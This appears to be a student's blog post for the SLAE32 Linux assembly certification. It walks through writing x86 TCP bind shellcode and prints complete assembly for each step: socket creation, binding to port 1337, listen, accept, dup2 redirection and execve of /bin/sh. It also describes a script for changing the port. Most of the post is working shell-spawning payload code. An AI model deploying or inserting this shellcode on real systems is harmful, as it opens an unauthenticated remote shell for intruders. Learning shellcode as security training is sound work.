SLAE32 Assignment 1 - TCP Bind Shell

6 minute read

SLAE32 Assignment #1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1372

This is the first of seven assignments in order to complete the SLAE (32bit) certification.

The main goal of the first assignment is to creat a TCP bind shellcode where:

  • It must bind to a local port
  • It must execute shell on incoming connections
  • The port must be easily configurable

In order to achieve the goal we must split the task into multiple syscalls:

  1. Create the Socket
  2. Bind the Socket to address and port
  3. Listen for incoming connections
  4. Accept new connections
  5. Redirect the stdin, stdout and stderr via dup2
  6. Finally, call execve with /bin/sh

Syscalls

To get the syscalls it was used the file /usr/include/i386-linux-gnu/asm/unistd_32.h.

Create Socket

In order to create the socket it must be used the syscall number 102 (socketcall). Looking into the manual page of the socketcall was found that is a function that expects 2 arguments: - int call (determines which socket function to invoke) - unsigned long *args (points to a block containing the actual arguments)

The call function we need to use is the SYS_SOCKET. This function will create an endpoint for communication and returns a file descriptor. Looking into /usr/include/linux/net.h we found out that SYS_SOCKET = 1.

Now that we know the function lets look into the socket function itself. It takes 3 arguments: - int domain (specifies a communication domain) - int type (specifies the communication semantics) - int protocol (specifies a particular protocol)

At this point we know that we want the domain to be AF_INET (IPv4 Internet protocol), the type to be SOCK_STREAM and finally the protocol to have the value 0.

The value of AF_INET is 2 and the value of SOCK_STREAM is 1.

The following code shows what was said before

; Create Socket
; eax = 102, ebx = 1, ecx = args array struct, stack [0,1,2]

xor eax, eax 	; reseting the register
mov al, 0x66 	; syscall 102 (socketcall)
xor ebx, ebx 	; reseting the register
push ebx 		; 0 (protocol)
inc ebx			; ebx = 1
push ebx 		; 1  (SOCK_STREAM)
push 0x2 		; 2 (AF_INET)
mov ecx, esp 	; ecx = args array struct
int 0x80 		; syscall

Bind the Socket

Now that we created the socket the next step is to bind it to an adress (0.0.0.0) and a port 1337. To do that we will use the SYS_BIND function. Bind takes 3 arguments: - int sockfd (file descriptor) - const struct sockaddr *addr (structure) - socklen_t addrlen (address length)

Sockaddr contains: -sin_family (Address family) -sin_port (Port number) -sin_addr (Address)

The first part will be the creation of the sockaddr, so for that it will be pushed 0 into the stack (address = 0.0.0.0), then port 1337 (0x539) and finally the AF_INET (value 2). At this point we need to move the address of the sockaddr into ecx. Now we need to push the bind function into the stack, to do that we start by pushing 16 (address length) into the stack. After this we push the sockaddr address and finally the file descriptor.

;Bind Socket

xchg edi, eax 	; save the file descriptor for future use
xor eax, eax 	; reseting the register
push eax		; 0 (0.0.0.0)
push word 0x3905; 1337
inc ebx			; ebx = 2 (AF_INET+SYS_BIND)
push bx
mov ecx, esp	; ecx = args array struct
mov al, 0x66 	; syscall 102 (socketcall)
push byte 0x10	; addrlen
push ecx		; sockaddr
push edi		; fd
mov ecx, esp	; ecx = args array struct for the syscall
int 0x80		; syscall

Listen incoming connections

To get our socket to listen to incoming connections we need use the function SYS_LISTEN. The value of SYS_LISTEN is 4. The SYS_LISTEN function just takes 2 arguments, the file descriptor (sockfd) and a backlog argument, that defines the maximum length to which the queue of pending connections for sockfd may grow. In this case will take the value 0.

Code:

;Listen for Incoming connections
; eax = 102, ebx = , stack[esi,0]

xor eax, eax	; reseting the register
push eax	    ; 0 (backlog)
push edi	    ; sockfd
mov al, 0x66	; syscall 102 (socketcall)
mov bl, 0x4	    ; SYS_LISTEN
mov ecx, esp	; ecx = args array struct for the syscall
int 0x80	    ; syscall

Accept new connections

To force the socket to accept connections we must use the SYS_ACCEPT. The SYS_ACCEPT is 5.

The SYS_ACCEPT function receives 3 arguments: - int sockfd (file descriptor) - struct sockaddr *addr (NULL) - socklen_t *addrlen (NULL)

The first argument is file descriptor, the remaining are pointers addr and addrlen which will set to NULL.

;Accept connections

xor eax, eax	; reseting the register
push eax		; NULL
push eax		; NULL
push edi		; sockfd
mov al, 0x66	; syscall 102 (socketcall)
inc ebx			; ebx = 5 SYS_ACCEPT
mov ecx, esp	; ecx = args array struct for the syscall
int 0x80		; syscall

Redirect the stdin, stdout and stderr via dup2

In order to redirect the stdin, stdout and stderr it will be used the function SYS_DUP2. This function takes just 2 arguments, the old file descriptor and the new one. In order to do it we need to set the eax with the value 63 (0x3f) ebx with the old file descriptor and ecx with the new one.

xchg ebx, eax		; put the file descriptor in ebx
xor ecx, ecx		; reseting the register
mov cl, 0x2			; set the counter
loop:
	mov al, 0x3f	; syscall 63 (dup2)
	int 0x80		; syscall
	dec ecx			; decrement counter
	jns loop

Call execve with /bin/sh

Now that all the redirects are working as it should is time to use SYS_EXECVE to execute /bin/sh. Execve takes 3 arguments a pointer to the filename that we want to execute, argv is an array of argument strings passed to the new program and envp is an array of strings that is passed as environment to the new program.

;execve /bin/sh

xor eax, eax			; reseting the register
push eax				; string terminator
push 0x68732f6e 		; hs/n	; hs/n
push 0x69622f2f 		; ib//	; ib//
mov ebx, esp			; ebx = //bin/sh
push eax		
push ebx
mov ecx,esp				; argv = [filename,0]
mov edx, eax			; envp = 0
mov al, 0xb				; syscall 12 (execve)
int 0x80				; syscall

Now we can assemble, link. After execute our binary we will see that we have a service running on port 1337. After connecting into it we got a shell. Bind Shell

Port configuration

To finish this assignment we are just missing the port to be easily configurable. After disassembling the binary we found the hard-coded port 1337 (pushw 0x3905). dynamicPort.png

In order to be easily configurable we need to replace 0x3905 for the output of the user. To do that was created a python script that concatenate all the bytes prior to the port with a new port bytes followed by the rest of the shellcode. dynamicPort.png

The Python script takes 1 argument. The argument is the port, if is null free the shellcode will also be null free. dynamicPort.png

All the code can be found in my github